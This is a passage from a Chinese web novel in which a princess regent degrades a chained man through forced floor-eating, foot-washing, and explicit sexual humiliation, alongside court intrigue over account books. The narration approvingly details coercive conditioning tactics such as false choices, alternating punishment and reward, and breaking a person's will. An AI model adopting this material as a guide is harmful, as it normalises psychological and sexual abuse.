上的重重“规矩”,对他比对婢仆甚至宠物还不如的对待,这一切的屈辱本来都不是常人可以承受,他却一一忍下来了,没理由直到现在才开始反抗。 她大概真的触到了他的底线。 可是,支配者与被支配者的分别,本来就在于踩过底线这一件事上。被支配者还未来到底线便小心翼翼的踮着脚步,对方一下眼色便战战兢兢的跪下请罪再膝行回去,甚至比本来还要退得更后,唯恐对方兴师问罪。 而支配者驾驭被支配者,不但要踩过底线,还要毫不犹豫的继续深入,逼他退到墙角,还要侵占他仅剩的空间,杜绝他除了自己以外的任何可能,摧毁他的自我,给他一记鞭子一块肉,让他意识到无论是鞭子还是肉他都没有选择的权利,那个无处可逃的人便会学会享受他的奖赏,并且为了那块奖赏而期望得到鞭子,这就是人格重塑。 越长风把柳孤城脖颈上的金链狠狠往上一拉,勒得他不得不抬起头来,她看着他无从遮掩的一脸不甘,玉足一点一点的往下踩去,直到完全浸在地上的粥碗里。 玉足完全被粥水浸盖,本来几乎盛满的粥漏了不少出来,像当年那样满泻在地,不同的只是头顶的人。 不是那个他以为已经摒弃在二十年前的噩梦。而是他新的噩梦,偏偏还是他亲手求来的一个噩梦。 越长风把脚从碗里抽出,糊状的粥水还在趾缝往下滴着,她把手中金链稍稍放松,温温柔柔的笑:“是吃碗里的、地上的,还是本宫脚上的,柳郎自己选。” “这是你在长公主府唯一的吃食了。”她轻蔑的睥睨着一脸绝望的男人。“柳郎不会绝食明志的吧?” “毕竟,你并不想死。” 柳孤城的确并不想死。暗卫营、贫民窟、聚贤阁的日子他都走过来了,如果他每次不甘受辱便要以死明志的话,他也已经不知死了多少次。 尽管,在那些吃人不吐骨头的地方含羞受辱,和在他像阴沟里的老鼠窥探了二十年的女郎面前,是有着那样天差地远的分别。也许是因为他见过她给别人的所有美好,才更加难以接受她留给自己的只有最恶劣的那些欲望;而且,偏执如他还偏偏不得不为她一点一点的改变自己。 越长风看似给了他三选一的选择,可是那根本不是选择。在脚上舔食最是羞耻,从地上舔食与他二十年前卑贱如地底泥的日子一般无异,所以他到底还是要从碗中舔食。 只是面头的精致小菜已经满泻,剩下的白粥又被支配者的脚所浸过,到头来比原来被迫承受的更加不堪,在这一刻却成了他最佳的选择。 “奴选……碗里的。” 早已料到他的答案,越长风眼里带着施舍般的微笑,攥着金链的手抚上他的后脑。“吃吧。” 她低头注视着趴下去在自己脚边的碗里舔食剩粥的柳孤城,仿佛在真诚的为含羞受辱的俊美男人感到婉惜:“要是你一开始就乖乖听话,就不用作出最好的选择来吃脏掉的白粥了。” “柳郎怎么就想不通呢?” 柳孤城默默无言,一口一口的把碗里的白粥舔干净了,抬起头来一双黑眸像深渊一样凝视着她。 越长风看看见底的粥碗,又看看脸颊上都黏上粥粒的柳孤城,餍足的笑:“吃饱了?” “是,主人。”这已经是下意识的回答。 越长风歪了歪头:“可是本宫觉得你还不够饱,怎么办?” 柳孤城一愣,不知道她还想要什么。 越长风再次露出了那副施舍的眼神,温声提醒:“本宫赏你的晚膳,不是还没有吃完么。” 她的视线缓缓下移,停留在放在满泻出来散落地上的餸菜上。 柳孤城呆呆的:“这,奴不是已经选了……” 越长风忽然发现,这张和柳时言有五分相像的脸除了羞耻和不甘以外,其实呆呆的样子也很是好看。或者她并不需要透过摧毁和重塑来发掘柳孤城让她着迷的一面,以及他和长兄的不同之处。 可是,驯化和驾驭,偏偏是最能带给她安全感的相处模式。 那就,只能让他迎合自己了? 一阵破风之声传来,越长风拿着散鞭在空中挥了一下,冷下声音,无情的说:“柳郎忘记规矩了?” 柳孤城身上戴着金链的地方都不由自主的一下瑟缩——每一次他犯了越长风的三条规矩之一,身上的“规矩”便会被粗暴的打下来,然后再由自己亲手重新戴上;现在他的身体,在听到“规矩”二字时已经下意识的产生了条件反射。铃铛叮叮当当的作响,更显他的欲盖弥彰。 他这才知道自己刚才的选择不是没有别的选择,而是由始至终根本就不是选择。无论是碗里的,地上的,还是……他看也不敢看那只露在裙外的玉足。 他都没有选择的权利。越长风给了他选择的错觉,不过是支配者把他玩弄于股掌之中,用以自娱罢了。 “多谢主人。”除了这一句之外,他也没有说话的权利。 “嗯。”越长风漫不经心的哼了一声,用鞭尾代替手掌在他身上摩挲轻抚,像是对待不上心的宠物一般。“主人的赏赐,下次记得别浪费了。” 长公主府的小菜实在好味,因为越长风在六年前落下畏寒的病根,所以府里的餸菜都是暖胃补阳的菜式,也没有过于刺激的味道,却不乏御厨的精心配制,每一样配料既带出了食材的鲜味,组合起来也不会有喧宾夺主之感。 柳孤城吃在嘴里,却是如同嚼蜡,食不知味。 就在他把地上散落的餸菜都吃得七七八八的时候,越长风忽然走出屋外,回来的时候捧着一盆温水放在饭桌下面。 待柳孤城吃完最后一口,她才好整以暇的说:“本宫的脚脏了。” 沾着粥水肉碎的脚就在面前一晃一晃的,仿佛在暗示什么。 柳孤城的心像擂鼓一样咚咚的跳,喉间一阵涩意:该来的,还是要来了吗? 越长风的三个“选项”,是碗里、地上、和脚上。 柳孤城半眯着眼睛,一点一点的,缓缓凑近了悬在面前的玉足。 来到只有一指之隔的距离,他自欺欺人的闭上了眼睛,眼帘下的双眼火种熄灭,只有一片绝望的死寂。 “奇了,柳郎不用本宫亲手拿进来的水,是打算怎样给本宫洗脚?”头顶上支配者的声音此刻像是天籁,柳孤城愕然抬首,只见越长风一副无辜的样子,眼里仿佛是发自真心的疑问。 柳孤城看着桌底下的那盆水,心里一直绷到最紧的弦,就在快要断开的一刻倏地放松。 脑里、心里头只有劫后余生的喜悦。明明是她把他放在了现在这个位置上,明明是她剥夺了他选择的权利,只因为她在最后一刻给了他一点本来就是由她自己亲自拿走的甜头,他却无法阻止自己的内心在那一刻感到安心、欣慰……甚至还有他万万不敢承认的感激,和一种极之诡异的幸福感。 一顿鞭子之后,再给他一块他本来就是应得的肉。 亲手把人推下悬崖之后,又亲手抛下救命藤蔓让坠落中的人抓住。 这样的张弛有度,从来都是越长风驭人的方法。 第28章 第28章纱衣、我只是拥有这个权…… 柳孤城的母亲是柳家主母的洗脚婢。 她的双手长年得到与奴婢身份不符的名贵药材保养,就只是为了用白嫩干净的手来服侍主母身上最肮脏的地方。而如花的女子除了这双手外,便没有任何价值。 洗脚婢诞下家主之子,在柳家这样的大家族里是莫大的耻辱,是因为洗脚本身就是莫大的耻辱。 柳孤城爬到桌下,看着面前沾着食物残渣的脚,心里却没有什么耻辱的感觉。——或许是因为他能用手洗这一只脚,已经是越长风对他网开一面 的恩赐。 越长风看着他的脸上回复生气,而且没有先前的隐忍不甘,甚至有一丝连他自己也难以发现的侥幸和感激。她也不催他动作快点,只是静静的欣赏着自己第一天的调教成果。 人的认知其实很容易被改变。只要经历过更差的,无论本来有多恶劣的东西其实便也没有那么差。 例如在四周无遮无掩的水榭里跪了一个下昼,在温暖的屋子里保持跪姿便也没什么了,甚至还会因为支配者为他竖起一座屏风而生起感激之情。又例如本来要趴在地上□□的人,现在可以用手代替侍奉,这手便会不知不觉的更加努力,兢兢业业的伺候主人。 柳孤城的手肤白如玉,手指修长,骨节分明,看不出来他曾经有过不堪的过去,反而和身娇肉贵的柳时言更加相似。 现在这双手小心翼翼地捧着沾着污迹的玉足,一点一点的放进水里。 不知是肌肤相贴柔软的触感、暖和的水温、叮叮当当的清脆铃铛声,还是清隽俊美的男人弯下脊梁的视觉享受,越长风舒服的轻哼出声。 很快她便发现,柳孤城神情专注、兢兢业业为她洗脚的样子看是好看,其实他的手上动作生疏得很,没有多少舒服的感觉可言,甚至当他的手指扫过敏感的趾头时,感觉痒痒麻麻的,却说不上有多享受。 “你这洗脚的功夫可得好好练练。”越长风半眯着眼,状似随口说道:“练不好的话,就别用手洗了。” “是,”柳孤城眸光深深,手上似是刻意的重重捏了一下。“……主人。” 他果然并不服气——但是这张脸还是有些火气比较可爱。越长风轻轻一笑,骤然把脚抽出,带起来的水花都溅到了跪着的男人身上,还有一滴堪堪挂在嘴边。 随便把湿漉漉的脚套回鞋里,她走到屋子一角的柜子前,从里面拿出了一套衣服,看也不看便丢在呆若木鸡的柳孤城身上。 “穿上,让外面的人进来把屋子收拾了。” 柳孤城看着她转身便要离去,下意识的扬声:“你要去哪里?” “你?”越长风脚步一顿,回头看他,广袖下的手似乎往随意放在一旁的散鞭一伸。 柳孤城的身子微乎其微的一抖。“主人。” 越长风若无其事的收回了手。“本宫要洗浴。” “莫非柳郎洗脚洗上瘾了,连本宫洗浴也想服侍?”她眉眼含笑,目光挑逗。 柳孤城后悔自己问出了那句话。现在被她反将一军,而自己不能不回答她的问话,也没有说不的权利。 只能违心的说:“是,主人。” “柳郎真乖。”明知这不是他的真心话,越长风却还是有被取悦到。“可惜,你还不够资格。” 柳孤城一下如鲠在喉,连自己也说不上来他是被放过了,还是被更深的羞辱了。 但总归是松一口气。 月上梢头,屋子里的灯火半明半灭,越长风慵懒的半躺在床上,像是鉴赏一件宝物般欣赏着床下跪得笔直的人。 男人身上只有一件天水之青的纱衣,薄得近乎透明,穿了几乎跟没穿一样。 ——不,还是有分别的。挂在男人身上的条条金链在薄纱之下若隐若现,夹着金链的位置顶起身前衣裳,男人本来就是高挑匀称的身材更显性感诱人。 “这件衣服比本宫想像中的还要合身。”越长风有些被他惊艳到,毫不吝啬眼中赞赏。“柳郎喜不喜欢?” 柳孤城眸光一黯,黑眸蒙上一层阴霾。 在她的屋子里长期放着这身暴露衣裳,代表什么?这件纱衣又刚好与他的身形仅仅吻合,又代表什么?她有“想像过”这件纱衣穿在他身上的样子,又是代表什么? 柳孤城早知越长风面首众多,可以在府中自出自入登堂入室的那几个在他跪在水榭中的时候便都已见识过。 可是和他身形一样的,她为之打造这件衣服的,她大概最想看见穿上这件衣服的……大概只有那一个人。 他的长兄,她心目中的白月光,她的目光每次在他身上停驻时实际上都在看着的,先驸马柳时言。 “喜欢。”柳孤城看似卑微的低垂视线,掩去眸中阴鸷。“多谢主人。” 他感觉到越长风定定凝视自己的目光,一如既往的懒散、轻慢和高高在上,他却也清晰地感受到里面的点点灼然。 只是那点点灼然,是看着他这个卑贱为奴以色侍主的“柳郎”,还是在八年前让她倾注了全部的爱,然后又让她亲手祭奠了全部的爱的真“柳郎”。 “喜欢就好。”越长风再次勾起了那抹施舍般的微笑。“柜子里还有几件,你每天换一件给本宫看。” 内心有一把声音在吼:……她到底是给柳时言做了多少件这样的衣服? 可是,柳孤城能说出口的只有:“是,主人。” 越长风为了大传胪,天还未亮便已经起了床,之后柳孤城入府调教了大半天,其他那几个人又在府中你来我去的,这一切实在花了她太多精力,也没什么玩弄床下男人的心思,指了指床下一角便径自躺了下来。 柳孤城会意,知道那床下一角大概便是他今后在长公主府唯一可以睡的地方了,只能乖乖躺下。立春早过,大地已经回暖,越长风的屋子里更是比外面再暖一些;他身着薄纱躺在铺着毛毯的地上,却不禁蜷缩起来,眼睛睁着久久未能入睡。 ----- 越长风做了一个梦。 梦里的男子长身玉立,一身华贵锦衣,腰背挺得笔直,一副端方清正君子如玉之相。 男子的眉目一开始看不清楚,越长风几乎便要以为柳孤城违背她的命令,擅自穿上了他本来的衣服。 直到男子朝她走来,笑着唤了一声:“鸢鸢。” 鸢鸟是鹰隼的一种,翼大擅长高飞,捕食天上地下各类猎物维生,是猎食者中的猎食者。这只凶狠残忍的猎食者,代表的却是翱翔天地的自由,也是承元帝为他万众瞩目的长女所取小名的含义。 这个小名虽然是由承元帝所取,在她取了大名长风之后却再也没有这么叫过。而她的母亲在她得了昭阳封号之后,更是从来都只叫她昭阳。 只有一个人会叫她鸢鸢。 她低头看看自己的衣着打扮,正是八年前的自己初为人妇的样子。 她的手不受控制的抚上男子的脸颊:“柳郎。” 柳时言顺势环抱住她,他的眉眼天生带着一种不近人情的矜贵清高,此刻却是弥漫着温柔笑意。 “鸢鸢,我好想你。” 十六岁的越长风耳根红了起来,手掌下滑攥着男子的下颌,把他的头拉下,直到自己的鼻息与他交融。她往男子红润的薄唇吹着气,轻轻呢喃:“鸢鸢也想柳郎。” 柳时言顺着她的动作低下头去,轻轻贴上了她的唇瓣。 柳时言的吻和他的人一样清清冷冷的,没有什么攻击性,也没有什么侵入欲和占有欲。他微微张口,舌尖只是微微越界,轻轻摩挲挑逗她的下唇,更像是对对方发出邀请,邀请她反过来深入自己,探索自己,主动的占有自己。 而越长风也的确那么做了。她毫不犹豫的往内探进,舌尖探索他上颚的每一分,仔细舔过他口腔里的每一吋,拨弄他的舌根逼它与自己共舞,撑大他的嘴巴让口涎止不住的往下滴着。她把自己唇舌的每一寸送到他的口中,已经不清楚自己是在占有,还是在无偿的奉献。 柳时言眉眼含笑,静静任她施为,仿佛是宠溺妻子的好丈夫,又或者是高高在上的施予者,知道对方对自己有多么着迷,知道对方有多么的欲壑难填,知道自己可以站在那里一根指头也不用动,只要稍稍配合她在床笫之间那些癖好,施舍一点点的爱意和怜悯对方便会巴巴的把自己奉上。 不知过了多久, 两人四唇这才分开。越长风意犹未尽的看着他,伸手为他抹去沿着嘴角流下的涎液,满心满眼都是自己亲手所选、世无其二的夫君。 “鸢鸢,我想求你一件事。”柳时言白皙修长的手指轻轻搓揉抚摸越长风正在为自己清理的手,轻轻淡淡的说。 其实他不必用一个求字,越长风从来都知道是自己把柳郎从他所属于的高山所折下,在他们两人之间,她从来都是仰望的那个。 见她呆呆的点了点头,柳时言笑着刮刮她的鼻尖。“我知道鸢鸢从前在宫中掌管太府寺,我想……认识一下,不知鸢鸢可否帮我引见。” 太府寺设在皇城之中,独立于尚书省辖下的六部以外,专责都市贸易、常平,负责出纳官僚俸禄,以及管理民间的物价和财货交易。 越长风在求得承元帝赐婚自己和柳时言的时候便已经上交了包括太府寺在内的所有权力,但是她长年行走皇宫和朝廷之间,累积下来的威望和人脉都不会白白消失。 她点了点头,张了张嘴正要说一声好,属于二十四岁的理智却突然回笼。 二十四岁的越长风一直像看客一样看着自己对柳时言的痴迷和爱恋,直到这一刻才重新掌握了自己身体的主动权,她看着自己的身体变成八年后的样子,顶上发髻因为各式彰显身份的贵重钗环而变得沉重,身上衣衫变成明艳张扬的大红华裳,指甲上涂着鲜艳欲滴的蔻丹。 重获意识的她想起了梦中的这一幕。那不是梦,而是真真切切发生过的事。她当时巴不得柳时言有求于自己,给他引荐了太府寺上下和自己有所交情的各级官员,然后……柳时言用这些人脉,建立了柳家的地下钱庄,用官商勾结、控制贸易得来的财富为自己在影子朝廷争得了他真正握在手心的权力。 越长风毫不犹豫地挥手,重重的掴在那张俊美无俦的脸上。啪的一声,手下触感饱满而富有弹性,打得她自己的手心也是麻了一下。 ——那张脸的触感却似乎有些过于真实。 越长风倏地惊醒,却发现外面晨曦已亮,床前直直的跪着一个人。 看见那张脸的第一刻,她还以为自己身在梦中;可是,那人身上只有天水之青的薄薄纱衣,纱衣下的条条“规矩”被她那一下震得叮当作响,男人似乎被那一下打懵了,摸着自己的脸颊呆呆的不知所措。 破碎、羞耻、不解而又不甘。 越长风坐起身子,看见他立即放下捂着脸颊的手背在背后,腰背挺直,双腿分开与肩同宽,是接受管教的臣服姿势。 男人甚至把没被掌掴的半边脸微微倾侧,朝她凑近一点。 “多谢主人。”他的声音有些沙哑。 曾经自己爱恋仰慕的夫君只要一句话便能让她甘心把一切奉上,到了最后竟还只是毫无顾忌的利用;可现在的她,可以毫无理由的惩戒脚下的奴,他不仅不会知道真正缘由,还只能向主人谢恩,并把自己的另外半边脸送上去让主人打得开心。 刚从梦中醒来,还真是不习惯啊。 “呵。” 越长风皮笑肉不笑的问:“柳郎多谢本宫什么?” 柳孤城迟疑了一下,越长风的脚往他胸前的方向一伸。 “多谢主人惩戒。” 越长风一手拉过柳孤城脖子上的金链把他拉近自己,另一手像在梦中那样轻轻抚上他的脸颊,只是这一次这张脸被她打得高高肿起:“柳郎犯了什么错,需要本宫惩戒?” 柳孤城沉默了。他确实不知他到底犯了什么错,只是下意识地说出了多谢主人的话,然后下意识地把支配者的耳光联想到惩戒上面。 他这一夜未睡,只是静静的跪在越长风的床前,近距离的端详着这位自己曾经只能在阴沟里远远窥探的女郎。 他听见她半梦半醒之间那些呢喃,有“鸢鸢”,还有“柳郎”。那个“柳郎”自然不可能是他柳孤城,至于“鸢鸢”是谁,已是昭然若揭。 可是在她眼中代替兄长来供她亵玩的奴,大概是不应该知道支配者的小名的。 柳孤城什么也不能说,越长风却不耐烦了:“嗯?” “奴……不知道。” 越长风觉得好笑,继续逼问:“不知道那你还多谢什么惩戒?” “柳郎这满口大话的性格,是真的该好好改一改了。”继在水榭之后,她再一次对作出顺从驯服姿态的男人说出了这句话。“不过,本宫有的是时间给你改。” “至于为什么本宫打你——”越长风话音一顿,手中金链逐点逐点收紧,没有让他一下窒息,却是看着他在自己的控制下一点一点脸露不适,却又不得不死死忍住的样子。从梦中惊醒的恶劣心情忽然变得愉悦起来,她薄唇扬起,指背轻轻柔柔的划过柳孤城嫣红的眼尾,一只手在操控他的身体,而另一只手则像是在安抚: “我只是拥有这个权力。” 第29章 第29章笔架、柳郎在别的事上不…… “奴……明白了,主人。”柳孤城强忍不适,眸光深深的看着她。 越长风想起梦里的那一下长吻,她自然是不会再巴巴的凑上去把自己的唇舌奉上给这张脸的主人,而是居高临下的睥睨着他,长指挑着他的下巴,拇指缓缓摩挲轻按他的下唇,直到露出了洁白整齐的下排牙齿。 多情的桃花眼里目光专注,长指一动探入男人俊美的薄唇之间,透过微开的齿关,压着舌头不断深入,一路探至舌根。柳孤城闭上了那双深眸,羽睫轻颤,微微仰起戴着金链的脖颈任由女郎的玉指侵入,努力压下生理上的不适和几乎便要溢出嘴边的声音。 看见他这个样子,越长风躁郁的心情好了不少,又多少对打错人的事有点歉疚,抽出手来亲昵的手背蹭蹭柳孤城脸上被自己扇出来的红肿。 柳孤城不知是被打懵了还是吓怕了,竟然偷偷在她濡湿的指背亲了亲,缓缓睁开的眸中似有暗光流转。 这次轮到越长风怔住,他这一下虽然突兀,却是触动了她心中某处,简单而冒失的小动作比她意料之外的更加取悦到自己。 越长风自然不可能向他坦白自己是打错了人。毕竟在世人眼中她和柳时言鹣鲽情深,就算他已经死了六年她也只有念念不忘的份,又怎会毫不犹豫的一巴掌扇下去? 只是……若要对眼前这个“无辜”受罪的男人作出补偿,那也不是没有办法。 “收拾好自己,跟本宫来。”她面色不显,淡淡吩咐。 书房里,柳孤城脖子上的金链被扣在紫金楠木的宝座一角,链子的长度恰好只能让他在座下跪坐。 宝座前的书桌上放着叠得整整齐齐的奏折文书,这里显然是摄政长公主日常处理事务的地方。可惜金链的长度太短,他就算怎么探头也无法看见那些奏折文书上写着的字。 越长风用朱笔在奏折上批批改改,忽然头也不回的命令:“过来。” 柳孤城膝行两步来到她的脚边,他身上纱衣已经换了一件月白色的,前襟大开露出了精壮的胸膛,胸前戴着的“规矩”上挂了一个笔筒。 越长风把手中朱笔扔到笔筒里,突然下坠的重量拉动了金链夹着的脆弱地方,让他不由自主的一缩,金链上的铃铛也叮叮当当的摇了起来。 “还是学不会忍呢。”越长风浅淡笑叹:“柳郎在别的事上不是很会忍的么,怎么就不能忍住不动?” 她居高临下的凝视着男人那具犹抱琵琶半遮面似的诱人躯体,微微弯下腰去,伸手拨弄那一条条金链,还不忘轻轻拉扯,又放手让链条自己反弹回去,激起一层层波涛和声浪。 这次他忍住了没动。 “多谢主人赐教。”柳孤城的声音没有什么起伏,就好像只是条件反射的结果而已。 作为一个挂着笔筒的架子,不动是基本 的规矩,可是看他在自己手下忍不住颤抖的他又好像出奇的有趣。越长风没有再纠结这个问题,伸手从笔筒里抽出笔身较幼的细笔,开始在奏折上落下自己的批注。 她的神情专注,一边沉思着一边落笔,密密麻麻的写满了一整页。柳孤城就像笔架子一样跪在此间主人脚下,一动也不动的唯恐铃铛的声音惊扰主人,毕竟一具器皿可不会自己发出声音。 直到阖上奏折,越长风把细笔扔回笔筒之中,搓了搓眉头:“喜欢吃甜的么?” 柳孤城不知道自己喜不喜欢。不论他自己的意欲如何,他的喜好口味在暗卫营的那几年便已经调教到和“未来主上”一模一样,所以他知道柳时言喜欢。 “奴喜欢。”他点了点头。 越长风走到门口,让外面守着的下人准备两碗甜汤,又亲自端了进来。 越长风把案上奏折往旁边一拨,两只瓷碗并排放在书案上。 “柳郎想要怎么吃?” 甜汤放在案上,仿佛在暗示柳孤城他可以像人一样从桌面拿起瓷碗来喝。 可是脖子上的金链也在时时刻刻的提醒着他,他没有站起来的权利。 这又是一道选择题。一道看似开放、可以让他回答任何答案的选择题,可是他如果答得不好,最终给他的选择便只会是最羞耻、最屈辱的那一个。 所以柳孤城可以回答的选择,便也只有支配者想要听到的那一个。 “奴……奴舔着吃。” 越长风定定的凝视着他,明明是那么高傲的一个人,明明他绝对不可能对她服气,但原来潜移默化还真是可以令一个人在不自不觉间变得屈服。 “嗯?”她眉头一挑,做出一副不满意的样子。“再具体一点。” “奴……奴趴着,塌腰献臀,像狗一样舔着碗里的吃。” “学得真快。”越长风嘴角微勾,再次露出了那副怜悯的笑容。她施舍般的把桌案上的其中一碗放在地上:“给你的,吃罢。” 甜汤甜度适中,既暖胃又解渴,仿佛是为柳孤城度身订造的食物。可是他知道,越长风根本不知道他的口味喜好,这碗东西大概是柳时言生前喜欢吃的甜食——只是他的口味恰好被调教得和柳时言的一模一样罢了。 “好吃吗?”越长风观赏着他塌腰献臀的悦目线条,鞋尖有一下没一下的拨弄他垂在后腰上的金链,跟着自己的节拍奏出悦耳的乐曲。 “好吃。”柳孤城觉得自己的声音和味觉一样,似乎并不属于自己。 “那这碗也赐给你了。”越长风把另外一碗放在他的面前,柳孤城这才发现这碗中甜食她是一口也没有吃过,仿佛叫来甜食不过是为了羞辱他,又或者是试探他的口味罢了。 “多谢主人。” 他看着支配者脸上露出满意的笑容,不知道是因为他的服从,还是因为他的口味和她的亡夫一样。 吃过之后,越长风从桌面上的那叠文书中抽出了两本柳孤城再也熟悉不过的帐簿。“你的人本宫验过了,今天我们来看看你带来的货。” 被当作货物来验让柳孤城俊脸一红,一双黑眸却因为看到了那两本帐簿而目光一亮。 越长风慢悠悠的翻着帐簿,有商有量似的问他:“柳郎希望本宫惩治帐簿上的哪些人?” 柳孤城抬首看她,跪在座下的他目光却及不到桌案上的帐簿。 越长风看见他努力伸头张望的姿势,哑然失笑,解开扣在宝座上的金链:“是本宫失策了,忘了你这个角度看不见。” 柳孤城重获移动的自由,这时候只要站起身来他便可以看到账簿上写着的东西。可是他也记得越长风的规矩,没有她的命令,他不能在她面前站着。 越长风对他的迟疑很是满意,她歪了歪头似乎在沉思自己下一步的命令,半晌才温柔笑道:“要不柳郎就爬上来跪着吧。”她一边说着,一边拍拍宝座上自己坐着的地方旁边的一片空位。 她还刻意挪了挪身子,偌大的宝座上有远远足够的位置给他跪上去。她说用“爬”的,柳孤城也不敢造次,像犬只一般爬上宝座,乖乖在她身边跪坐。 越长风也像摸摸宠物的头,嘉奖的往他的头上一摸,然后拿起案上帐簿。 一种怪异至极的感觉涌上他的心头,柳孤城也说不上是什么感觉,他也很快便忽略掉了——毕竟那两本帐簿,才是他以自身为财货来做这个“交易”的目的。 因为这两本帐簿,是柳时言的遗物。 帐簿上的钱庄,以及官府、世家和商行三方的接头人都是属于柳时言的派系。那些人在柳时言和废太子死后变得有些不听阁里的话,不但动用钱庄的银两,还背着阁主私自进行交易,买卖官职、科举枪替,想要越过聚贤阁建立自己的势力。 他既要抛弃那些不听话的棋子,也要让高高在上的长公主以为自己已经得到了六年来都想从柳家手上得到的东西。 却不过是他柳孤城想要借她这把刀来杀人的一份名单罢了。 柳孤城乖乖在座上跪着,看向两本帐簿的目光却不掩兴奋的光芒。 越长风看着他的样子,却忽然想到了什么。“奴和主人同坐一张椅子,似乎不合规矩。” 柳孤城愕然的看着她,眸中兴奋顿时消逝,不解的目光无声的问:这不是你叫我跪上去的吗? “嗯,这样吧。”越长风装作真心苦恼的想了一会,然后从书桌下拿出一个锦盒,往柳孤城怀里一丢让他自己打开。 锦盒打开的那一刻,柳孤城的整张脸顿时涨得通红,羞耻之色比之前任何一次更甚。 锦盒里面是一件精雕细琢的玉器,形状和昨天放在脚踏上那些相似,也和他中了药的那一晚所用过的相似。 只是大了很多。 越长风再次露出了那副温温柔柔却不容置疑的笑:“这是本宫赏的东西,柳郎自己放在椅上,每给本宫解释帐簿上的一行字,便自己坐一下,好不好?” 第30章 第30章既然柳郎无法管住自己,…… 说一行,便坐一下。 可是这两本帐簿有那么多行,可是他要惩治的叛徒又有那么多。 “怎么,不想做?”越长风一副体贴的样子,仿佛在真心询问他的意见。 “是,主人。”柳孤城下意识的把话说出口来,才发现他这句话多么有歧义,连忙加上:“奴想做。” 那副委屈不甘的样子,嘴里说出的话却仿佛是在主动求欢。 上一次柳孤城做这种事时,事先给自己下了药,在半醉半醒之下哀求越长风帮他解毒。那时他不过含羞带怯的趴在她的怀里,越长风担当了掌舵的角色,而他不过是扁舟上的乘客,在惊涛骇浪中乘着翻滚的波浪飘摇而已。 用药劲和被动来解释一切,似乎便没有那么难堪。 这一次,他不但完全清醒,还要在支配者的袖手旁观之下自己主动去玩自己。 柳孤城咬咬牙,把玉器放在宝座上,闭上眼睛就要狠狠一坐—— “咦?” 柳孤城动作一僵,身子恰恰悬在玉器上方不足一寸之处。 越长风也不忍了,直接就笑出声来:“你这样子坐下去是想让自己皮开肉绽不成?” 柳孤城睁大眼睛看着她,一向明静如镜的深眸里此刻起了涟漪,竟然还有一丝委屈。 “主人……只说让奴坐下去。” 越长风哑然失笑:“柳郎平时不是很聪明的吗,怎么现在就不懂变通了?” “还是,”她眸光一亮,嘴角的弧度变得邪肆危险,“你想把本宫对你的赏赐变成刑罚,自伤自残让本宫对你感到愧疚?” 柳孤城身躯一震,一双眼睛水光粼粼的无辜至极。 “奴不敢。” 越长风一手拉着他脖子上的金链,另一手用一指挑起他的下颌,一指按着他下意识在抖颤的下唇:“谅你也不敢。” “毕竟奴的身体发肤都是属于主人,没有本宫的允许,你可不能获得快感,也不可以落下伤痛。”她淡淡说道,仿佛说的是再理所当然不过的道理。 “是,主人。”柳孤城跪在 那里任她施为,嘴上答得顺口。 越长风嗯了一声,算是认可了他的答话,然后命令道:“舌头伸出来。” 柳孤城小心翼翼的伸出一截舌尖,被两只玉指夹住拉扯:“再伸,嘴巴张大。” 他的舌头几乎都要伸到外面,夹住舌尖的两指一松,取而代之的是座上那具玉器打在舌面。 “舔。” 支配者一边命令,一边用玉器蹭着男人伸出来的舌头,在红腻细滑的舌面上打着圈圈。 明明没有一点肌肤相接,明明只是一件死物,柳孤城却被玩得半眯着眼,氲红着眼角,鼻息浑浊,伸出来的的舌头也在微微打着颤。 直到玉器被涂得发亮,越长风才大发慈悲的拿了出来,重新放回宝座上面。男人的舌根有此发麻,动了动才收进嘴里,咕噜一声把将要溢出的涎液尽数吞下。 明明是一头桀骜不驯的狼,此刻的样子却是乖得不行。越长风拍拍他的脸,嘴角再次勾起那抹怜悯的微笑。 “现在慢慢来,别伤到了本宫的东西。” 听她脸不红心不跳的把自己的那里称作她的东西,柳孤城心中羞耻感一涌而上,这些羞耻感却远远没有接下来要发生的东西要来得重—— 在支配者目光炯炯的注视下,他很慢很慢的,坐了下去。 “停。” 才坐了一点点,越长风便止住了他。 她由著柳孤城满脸通红又手足无措的悬在那里,打开了帐簿的第一页。 “柳是知,是什么人?” 柳孤城跪也不是,坐也不是,保持着不上不下的姿势,还不得不去感受玉器尖端的触感。 “……是奴的三叔,掌管柳家京城生意,用来为钱庄……洗钱,主人。” 越长风淡淡嗯了一声,她早知道柳是知是什么人,毕竟是柳家家主一母同胞的亲弟弟,她还是柳家妇时便已把他查探清楚,这么问不过是试探一下眼前这个满口大话的“柳奴”罢了。 柳孤城没有说谎,但因为腿间玉器的关系还是感觉如坐针毡,绝不敢有一丝怠慢。 越长风把目光移向帐簿上的下一个名字,看也不看身旁男人:“起来。” “再坐。” 这次他再坐低了一点,她才摆手止住:“停。” “柳见尧。” “……四房堂兄,承接工部的大小工程。” “起来,再坐,再多一点。” 柳孤城终于忍不住低呼一声。 “到了?”越长风轻笑着问。 她问得没头没尾的,柳孤城却比谁都要清楚是什么东西到了什么地方。 “是,主人。”他的声音沉了些许,也明显变得沙哑。 越长风不知算是安抚还是嘉奖的摸摸他的头,然后若无其事的把帐簿翻了页。“柳钧。” “七房孻叔,掌江东船务,有太府寺的文书许可垄断水上贸易。地下钱庄里的银子是见不得光的那一部分。” 越长风眸光一下变冷,冰椎一般仿佛便要刺穿眼前帐簿。 好啊……原来柳时言的手,透过太府寺早已伸到十万八千里远了。 “起来。” “再坐。” 见男人的动作一如既往的小心谨慎,她不耐烦的把他胸前“规矩”往下粗暴一拉,冷声道:“别磨磨蹭蹭的,你知道要往下坐多少。” “坐到那个位置,再起,再坐。” “给点眼力见的自己玩,别要本宫发号施令。” 柳孤城感受到上位者的心情明显转差,只能顺着她的意思自动自觉的玩弄自己,偏偏每一下还要全力以赴,看在支配者的眼里不过是让她抒发情绪的余兴节目,做在自己身上却让他感到生理和心理之间的双重割裂,快要把他逼到崩溃的边缘。 他已经无法仔细思考越长风问他关于帐簿上的问题,只能遵从本能喊出最直觉的答案,根本无从修饰,也无法说谎。 第一本帐簿还未翻完,柳孤城便已登顶,脑中一片空白,他第一次在完全清醒的状态之□□会到这种头皮到脚尖完全发麻的感觉,回过神来的时候身上、纱衣上和宝座上都已是一片狼藉。 越长风悠悠合上帐簿,玉手抚着他凌乱的发顶,唇角勾起淡笑,心理上得到满满餍足之后的声音带着些许慵懒:“玩得开心么?” “……开心。”柳孤城迟疑了一下,脑海里一片浑沌,连自己也分不清楚自己这个被迫作出的答案是否违心之语。“多谢主人。” 越长风伸指抹抹他额上汗珠,随手往他的纱衣上一抹,状若不经意的问道:“可是,在你弄脏本宫的地方之前,本宫有说过准你了么?” 